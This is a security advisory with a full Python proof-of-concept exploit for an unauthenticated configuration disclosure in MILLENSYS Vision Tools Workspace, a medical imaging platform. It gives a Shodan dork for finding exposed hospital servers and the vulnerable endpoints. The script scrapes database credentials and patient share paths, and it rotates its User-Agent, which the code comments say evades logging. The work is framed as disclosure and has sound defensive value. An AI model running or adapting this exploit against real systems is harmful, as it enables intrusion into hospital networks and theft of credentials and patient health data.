CVE-2025-63958 — MILLENSYS Vision Tools Workspace Unauthenticated Configuration Disclosure

1. Overview

This advisory documents a critical unauthenticated configuration disclosure affecting multiple versions of MILLENSYS Vision Tools Workspace, a medical PACS/Reporting platform widely deployed across hospitals and radiology centers.

A missing access control on the /MILLENSYS/settings endpoint allows remote attackers to retrieve full backend configuration, including plaintext database credentials, file share paths, license server URLs, and sensitive system parameters.

CVE ID: CVE-2025-63958

2. Introduction

During an authorized security assessment, publicly accessible servers running MILLENSYS Vision Tools Workspace were identified. Multiple versions were verified as vulnerable:

  • 6.5.0.2585
  • 6.5.0.2596
  • 5.10.5.2429

All versions exposed the same critical flaw.

3. Discovery & Enumeration

The following Shodan dork was used to enumerate publicly accessible instances:

http.title:"Vision Tools Workspace"

This revealed live deployments in multiple countries.

3.2. Identifying Public Interfaces

Each host presented the same landing page:

  • “Welcome to Millensys, Vision Tools Workspace”
  • Hosted on Microsoft IIS
  • Version shown on login pages (e.g., 6.5.0.2585) ShodanDorks

4. Vulnerable Endpoint Identification

4.1. Direct Access to Administrative Panel

The following endpoint was found accessible without authentication:

/MILLENSYS/settings

settings This loads the WorkSpace Control Panel—normally reserved for administrators.

4.2. Accessing Web Settings

Clicking “Web Settings” redirects to:

/MILLENSYS/edit/Settings.MillenSys

SMB Server unsigned config This endpoint exposes sensitive backend configuration directly in HTML.

5. Sensitive Data Exposure

The settings page reveals:

MiGlobal Database:

  • Server
  • Database
  • Username: Example
  • Password: (masked, but retrievable through HTML)

MiReport Database:

  • Same pattern: server, DB name, username, password

Other Exposed Data:

  • Patient folder directory paths
  • Report template directories
  • Client update executables
  • License server URL
  • Profile paths

SMB Server unsigned config All sensitive values are rendered in plaintext in HTML without authentication.

6. Technical Root Cause

  • Zero authentication checks on critical administrative endpoints.
  • Credentials embedded directly in client-side HTML.
  • Lack of role-based access control.
  • Sensitive configuration stored in web-accessible pages.

7. Impact Assessment

Confidentiality

Severe breach — Full DB credentials exposed.

Integrity

Attackers can alter patient data, user accounts, reports, and configuration.

Availability

DB destruction or corruption is possible.

Business Impact

  • PHI exposure (HIPAA/GDPR violation risk)
  • Full system compromise
  • Lateral movement into hospital networks
  • Operational shutdown

8. Affected Versions

Confirmed on:

  • 5.10.5.2429
  • 6.5.0.2585
  • 6.5.0.2596

Likely affects all versions exposing these endpoints.

9. Mitigation

Immediate

  • Remove public exposure immediately.
  • Restrict access behind VPN or IP whitelist.

Long‑Term

  • Implement server-side authentication.
  • Remove sensitive values from client-side HTML.
  • Encrypt stored credentials.

10. Security Mapping

CWE

  • CWE-306 — Missing Authentication for Critical Function
  • CWE-200 — Sensitive Information Exposure
  • CWE-284 — Improper Access Control

MITRE ATT&CK

  • T1210: Exploitation of Remote Services
  • T1552: Unsecured Credentials

11. Final CVE Summary

CVE-2025-63958 — MILLENSYS Vision Tools Workspace Unauthenticated Configuration Disclosure

A missing access control vulnerability allows unauthenticated attackers to access administrative configuration pages through /MILLENSYS/settings and /MILLENSYS/edit/Settings.MillenSys. These pages expose plaintext database credentials, file system paths, client update packages, and license server URLs. Exploitation results in full system compromise.


12. Proof of Concept (PoC)

The following PoC demonstrates the unauthenticated extraction of full configuration data, including plaintext database credentials, via the vulnerable endpoints.

PoC Execution

To test a target:

python3 cve-2025-63958.py -u http://TARGET:PORT/

Optional:

  -h, --help     show this help message and exit
  -u, --url URL  Target base URL (e.g., http://10.10.10.10:8080)
  --json JSON    Export results to JSON file
  --no-color     Disable colored output

✔ Example Output

CVE-2025-63958 – PoC Execution Output

┌──(ozex㉿ozex)-[~/CVEs/CVE-2025-63958]
└─$ python3 cve-2025-63958.py -u http://TARGET:PORT

             ▒█████  ▒███████▒▓█████ ▒██   ██▒
            ▒██▒  ██▒▒ ▒ ▒ ▄▀░▓█   ▀ ▒▒ █ █ ▒░
            ▒██░  ██▒░ ▒ ▄▀▒░ ▒███   ░░  █   ░
            ▒██   ██░  ▄▀▒   ░▒▓█  ▄  ░ █ █ ▒ 
            ░ ████▓▒░▒███████▒░▒████▒▒██▒ ▒██▒
            ░ ▒░▒░▒░ ░▒▒ ▓░▒░▒░░ ▒░ ░▒▒ ░ ░▓ ░
              ░ ▒ ▒░ ░░▒ ▒ ░ ▒ ░ ░  ░░░   ░▒ ░
            ░ ░ ░ ▒  ░ ░ ░ ░ ░   ░    ░    ░  
                ░ ░    ░ ░       ░  ░ ░    ░  

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  ► CVE-2025-63958 MILLENSYS Vision Tools Workspace PoC
  ► Unauthenticated Configuration & Credentials Disclosure
  ► Author: Khaled Al-Refaee (Ozex)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━


→ Targeting: http://TARGET:PORT/
→ Checking: http://TARGET:PORT/MILLENSYS/settings
✓ Settings endpoint responds
! Target appears VULNERABLE

→ Fetching configuration: http://TARGET:PORT/MILLENSYS/edit/Settings.MillenSys
✓ Configuration accessed WITHOUT authentication
! CRITICAL: Sensitive data exposed

──────────────────────────────────────────────────────────────────────
  EXPOSED CONFIGURATION DATA
──────────────────────────────────────────────────────────────────────


▸ MiGlobal Settings
  ────────────────────────────────────────────────────────────
  MiGlobalServerName       : Example
  MiGlobalDatabase         : Example
  MiGlobalUserName         : sa
  MiGlobalPassword         : Protected

▸ MiReport Settings
  ────────────────────────────────────────────────────────────
  MiReportServerName       : Example
  MiReportDatabase         : Example
  MiReportUserName         : sa
  MiReportPassword         : Protected

▸ Client Setup
  ────────────────────────────────────────────────────────────
  Setup                    : Example_setup.exe
  Updates                  : Example_updates.exe
  DotNet                   : Example.exe
  LastVersion              : XX.X.X

▸ Folders Setup
  ────────────────────────────────────────────────────────────
  PatientsPath             : \\Example\Example
  ReportTemps              : \\TARGET:PORT\Example

▸ License
  ────────────────────────────────────────────────────────────
  LicenseServer            : http://TARGET:PORT/millensys/milicenseservice/

▸ Profile Settings
  ────────────────────────────────────────────────────────────
  Profile                  : ~/profiles
  ProfileFileName          : profile.msa

▸ Report Settings
  ────────────────────────────────────────────────────────────
  EnableReport             : false
  Editor                   : Advanced

▸ Images Settings
  ────────────────────────────────────────────────────────────
  CreateThumbs             : false

▸ HIS Settings
  ────────────────────────────────────────────────────────────
  HISClincMode             : false
  HISEditor                : Advanced

▸ Display Settings
  ────────────────────────────────────────────────────────────
  OR                       : false
  SiteName                 : Millensys
  Language                 : en

▸ Search Settings
  ────────────────────────────────────────────────────────────
  MaxSearch                : 1000
  Rows                     : 90
  Caching                  : false

▸ Modules Settings
  ────────────────────────────────────────────────────────────
  EnableScan               : false
  StorageSwitcher          : false

══════════════════════════════════════════════════════════════════════
  Summary:
    Total fields exposed: 30
    Sensitive fields: 9
══════════════════════════════════════════════════════════════════════



╔═══════════════════════════════════════════════════════════════════╗
║                   VULNERABILITY CONFIRMED                         ║
║                                                                   ║
║  This system is VULNERABLE to CVE-2025-63958                      ║
║  Immediate remediation recommended                                ║
╚═══════════════════════════════════════════════════════════════════╝
 
Disclaimer: Authorized testing only.

Full PoC Code (Python3)

#!/usr/bin/env python3
# ======================================================================
#   CVE-2025-63958 – MILLENSYS Vision Tools Workspace PoC
#   Unauthenticated Exposure of Configuration & Credentials
#   Author: Khaled Al-Refaee (Ozex)
# ======================================================================

import argparse
import requests
from urllib.parse import urljoin
from bs4 import BeautifulSoup
import json
import sys
import random
import string

requests.packages.urllib3.disable_warnings()


# ======================================================================
# ANSI Colors
# ======================================================================
class Colors:
    HEADER = '\033[95m'
    OKBLUE = '\033[94m'
    OKCYAN = '\033[96m'
    OKGREEN = '\033[92m'
    WARNING = '\033[93m'
    FAIL = '\033[91m'
    ENDC = '\033[0m'
    BOLD = '\033[1m'
    GRAY = '\033[90m'
    WHITE = '\033[97m'
    MAGENTA = '\033[35m'
    RED_BG = '\033[41m'
    BRIGHT_CYAN = '\033[96m'
    BRIGHT_MAGENTA = '\033[95m'
    BRIGHT_YELLOW = '\033[93m'
    BRIGHT_GREEN = '\033[92m'


# ======================================================================
# Banner
# ======================================================================
def print_banner():
    """Display styled banner"""
    banner = f"""{Colors.OKGREEN}{Colors.BOLD}
             ▒█████  ▒███████▒▓█████ ▒██   ██▒
            ▒██▒  ██▒▒ ▒ ▒ ▄▀░▓█   ▀ ▒▒ █ █ ▒░
            ▒██░  ██▒░ ▒ ▄▀▒░ ▒███   ░░  █   ░
            ▒██   ██░  ▄▀▒   ░▒▓█  ▄  ░ █ █ ▒ 
            ░ ████▓▒░▒███████▒░▒████▒▒██▒ ▒██▒
            ░ ▒░▒░▒░ ░▒▒ ▓░▒░▒░░ ▒░ ░▒▒ ░ ░▓ ░
              ░ ▒ ▒░ ░░▒ ▒ ░ ▒ ░ ░  ░░░   ░▒ ░
            ░ ░ ░ ▒  ░ ░ ░ ░ ░   ░    ░    ░  
                ░ ░    ░ ░       ░  ░ ░    ░  
{Colors.ENDC}
{Colors.BRIGHT_CYAN}{Colors.BOLD}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━{Colors.ENDC}
{Colors.BRIGHT_MAGENTA}  ► CVE-2025-63958 {Colors.ENDC}{Colors.BRIGHT_CYAN}MILLENSYS Vision Tools Workspace PoC{Colors.ENDC}
{Colors.BRIGHT_YELLOW}  ► Unauthenticated Configuration & Credentials Disclosure{Colors.ENDC}
{Colors.BRIGHT_GREEN}  ► Author: Khaled Al-Refaee (Ozex){Colors.ENDC}
{Colors.BRIGHT_CYAN}{Colors.BOLD}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━{Colors.ENDC}
"""
    print(banner)


# ======================================================================
# User-Agent Randomization (evades logging & default Python bios)
# ======================================================================
UAS = [
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 "
    "(KHTML, like Gecko) Chrome/127.0.0.1 Safari/537.36",
    "Mozilla/5.0 (X11; Linux x86_64) Gecko/20100101 Firefox/128.0",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 "
    "(KHTML, like Gecko) Version/17.4 Safari/605.1.15",
    "Edge/127.0.0.1 (Windows NT 10.0; Win64; x64)"
]


def fake_ua():
    return random.choice(UAS)


# ======================================================================
# Target Sections
# ======================================================================
SECTIONS = {
    "MiGlobal Settings": [
        "MiGlobalServerName", "MiGlobalDatabase",
        "MiGlobalUserName", "MiGlobalPassword"
    ],
    "MiReport Settings": [
        "MiReportServerName", "MiReportDatabase",
        "MiReportUserName", "MiReportPassword"
    ],
    "Client Setup": ["Setup", "Updates", "DotNet", "LastVersion"],
    "Folders Setup": ["PatientsPath", "ReportTemps"],
    "License": ["LicenseServer"],
    "Profile Settings": ["Profile", "ProfileFileName"],
    "Report Settings": ["EnableReport", "Editor"],
    "Images Settings": ["CreateThumbs"],
    "HIS Settings": ["HISClincMode", "HISEditor"],
    "Display Settings": ["OR", "SiteName", "Language"],
    "Search Settings": ["MaxSearch", "Rows", "Caching"],
    "Modules Settings": ["EnableScan", "StorageSwitcher"]
}

SENSITIVE_FIELDS = ["password", "username", "database", "server"]


def is_sensitive(key):
    return any(p in key.lower() for p in SENSITIVE_FIELDS)


# ======================================================================
# HTML Extraction
# ======================================================================
def extract_inputs(html):
    soup = BeautifulSoup(html, "html.parser")
    inputs = {}

    # <input>
    for inp in soup.find_all("input"):
        name = inp.get("name")
        value = inp.get("value", "")
        if not name:
            continue

        if inp.get("type") == "checkbox":
            value = "true" if inp.get("checked") else "false"

        inputs[name] = sanitize(value)

    # <select>
    for sel in soup.find_all("select"):
        name = sel.get("name")
        if not name:
            continue

        selected = sel.find("option", selected=True)
        if selected:
            inputs[name] = sanitize(selected.text)
        else:
            first = sel.find("option")
            if first:
                inputs[name] = sanitize(first.text)

    return inputs


def sanitize(v):
    if not v:
        return ""
    return v.replace("\r", "").replace("\n", "").strip()


# ======================================================================
# Section Grouping
# ======================================================================
def group_by_sections(inputs):
    grouped = {}

    for section_name, keys in SECTIONS.items():
        grouped[section_name] = {
            k: inputs[k] for k in keys if k in inputs
        }

    return grouped


# ======================================================================
# UI Output
# ======================================================================
def print_status(symbol, message, color):
    print(f"{color}{symbol}{Colors.ENDC} {message}")


def print_section_header(title):
    line = "─" * 70
    print(f"\n{Colors.OKCYAN}{line}{Colors.ENDC}")
    print(f"{Colors.BOLD}{Colors.WHITE}  {title}{Colors.ENDC}")
    print(f"{Colors.OKCYAN}{line}{Colors.ENDC}\n")


def print_key_value(key, value, indent=2):
    spaces = " " * indent

    if is_sensitive(key):
        if value:
            print(f"{spaces}{Colors.WARNING}{key:25s}{Colors.ENDC}: "
                  f"{Colors.FAIL}{Colors.BOLD}{value}{Colors.ENDC}")
        else:
            print(f"{spaces}{Colors.GRAY}{key:25s}: {value}{Colors.ENDC}")
    else:
        if value:
            print(f"{spaces}{Colors.OKCYAN}{key:25s}{Colors.ENDC}: "
                  f"{Colors.WHITE}{value}{Colors.ENDC}")
        else:
            print(f"{spaces}{Colors.GRAY}{key:25s}: {value}{Colors.ENDC}")


def print_grouped_output(grouped):
    print_section_header("EXPOSED CONFIGURATION DATA")

    sensitive_count = 0
    total_fields = 0

    for section, values in grouped.items():
        if not values:
            continue

        print(f"\n{Colors.BOLD}{Colors.MAGENTA}{section}{Colors.ENDC}")
        print(f"{Colors.GRAY}  {'─' * 60}{Colors.ENDC}")

        for key, value in values.items():
            print_key_value(key, value)
            total_fields += 1
            if is_sensitive(key) and value:
                sensitive_count += 1

    print(f"\n{Colors.OKCYAN}{'═' * 70}{Colors.ENDC}")
    print(f"{Colors.BOLD}  Summary:{Colors.ENDC}")
    print(f"    Total fields exposed: {Colors.WHITE}{total_fields}{Colors.ENDC}")
    print(f"    Sensitive fields: {Colors.FAIL}{Colors.BOLD}{sensitive_count}{Colors.ENDC}")
    print(f"{Colors.OKCYAN}{'═' * 70}{Colors.ENDC}\n")


# ======================================================================
# Vulnerability Check
# ======================================================================
def check_vuln(target):
    settings_url = urljoin(target, "/MILLENSYS/settings")
    edit_url = urljoin(target, "/MILLENSYS/edit/Settings.MillenSys")

    headers = {"User-Agent": fake_ua()}

    print_status("→", f"Targeting: {Colors.WHITE}{target}{Colors.ENDC}", Colors.OKBLUE)
    print_status("→", f"Checking: {Colors.GRAY}{settings_url}{Colors.ENDC}", Colors.OKBLUE)

    try:
        r = requests.get(settings_url, headers=headers, timeout=(3, 5), verify=False)
    except Exception as e:
        print_status("✗", f"Connection error: {e}", Colors.FAIL)
        sys.exit(1)

    # Better detection
    keywords = ["WorkSpace", "Control Panel", "<input", "MiGlobal"]
    vulnerable = r.status_code == 200 and any(k in r.text for k in keywords)

    if vulnerable:
        print_status("✓", "Settings endpoint responds", Colors.OKGREEN)
        print_status("!", "Target appears VULNERABLE", Colors.WARNING)
    else:
        print_status("✗", "Target does NOT appear vulnerable", Colors.FAIL)
        print_status("ℹ", f"HTTP {r.status_code}", Colors.GRAY)
        sys.exit(0)

    print()
    print_status("→", f"Fetching configuration: {Colors.GRAY}{edit_url}{Colors.ENDC}", Colors.OKBLUE)

    try:
        r2 = requests.get(edit_url, headers=headers, timeout=(3, 5), verify=False)
    except Exception as e:
        print_status("✗", f"Request failed: {e}", Colors.FAIL)
        sys.exit(1)

    if r2.status_code == 200:
        print_status("✓", "Configuration accessed WITHOUT authentication", Colors.OKGREEN)
        print_status("!", "CRITICAL: Sensitive data exposed", Colors.FAIL)
        return r2.text
    else:
        print_status("✗", f"Failed (HTTP {r2.status_code})", Colors.FAIL)
        sys.exit(0)


# ======================================================================
# Final Banner
# ======================================================================
def print_vulnerability_banner():
    print(f"\n{Colors.RED_BG}{Colors.WHITE}{Colors.BOLD}")
    print("╔═══════════════════════════════════════════════════════════════════╗")
    print("║                   VULNERABILITY CONFIRMED                         ║")
    print("║                                                                   ║")
    print("║  This system is VULNERABLE to CVE-2025-63958                      ║")
    print("║  Immediate remediation recommended                                ║")
    print("╚═══════════════════════════════════════════════════════════════════╝")
    print(f"{Colors.ENDC}")


# ======================================================================
# Main
# ======================================================================
def main():
    print_banner()

    parser = argparse.ArgumentParser(
        description="CVE-2025-63958 - MILLENSYS Vision Tools Workspace PoC",
        formatter_class=argparse.RawDescriptionHelpFormatter
    )

    parser.add_argument("-u", "--url", required=True,
                        help="Target base URL (e.g., http://10.10.10.10:8080)")
    parser.add_argument("--json", help="Export results to JSON file")
    parser.add_argument("--no-color", action="store_true",
                        help="Disable colored output")

    args = parser.parse_args()

    if args.no_color:
        for attr in dir(Colors):
            if not attr.startswith('_'):
                setattr(Colors, attr, '')

    print()

    html = check_vuln(args.url)
    inputs = extract_inputs(html)
    grouped = group_by_sections(inputs)

    print_grouped_output(grouped)

    if args.json:
        with open(args.json, "w", encoding="utf-8") as f:
            json.dump(grouped, f, indent=4, ensure_ascii=False)
        print_status("✓", f"Exported to {args.json}", Colors.OKGREEN)

    print_vulnerability_banner()

    print(f"{Colors.GRAY}Disclaimer: Authorized testing only.{Colors.ENDC}\n")


if __name__ == "__main__":
    main()

✍️ Author’s Note

Written by Khaled Al‑Refaee (Ozex)
Cybersecurity Consultant | Red Team Operator | Offensive Security Professional

🌐 ozex.gitlab.io
Buy me a coffee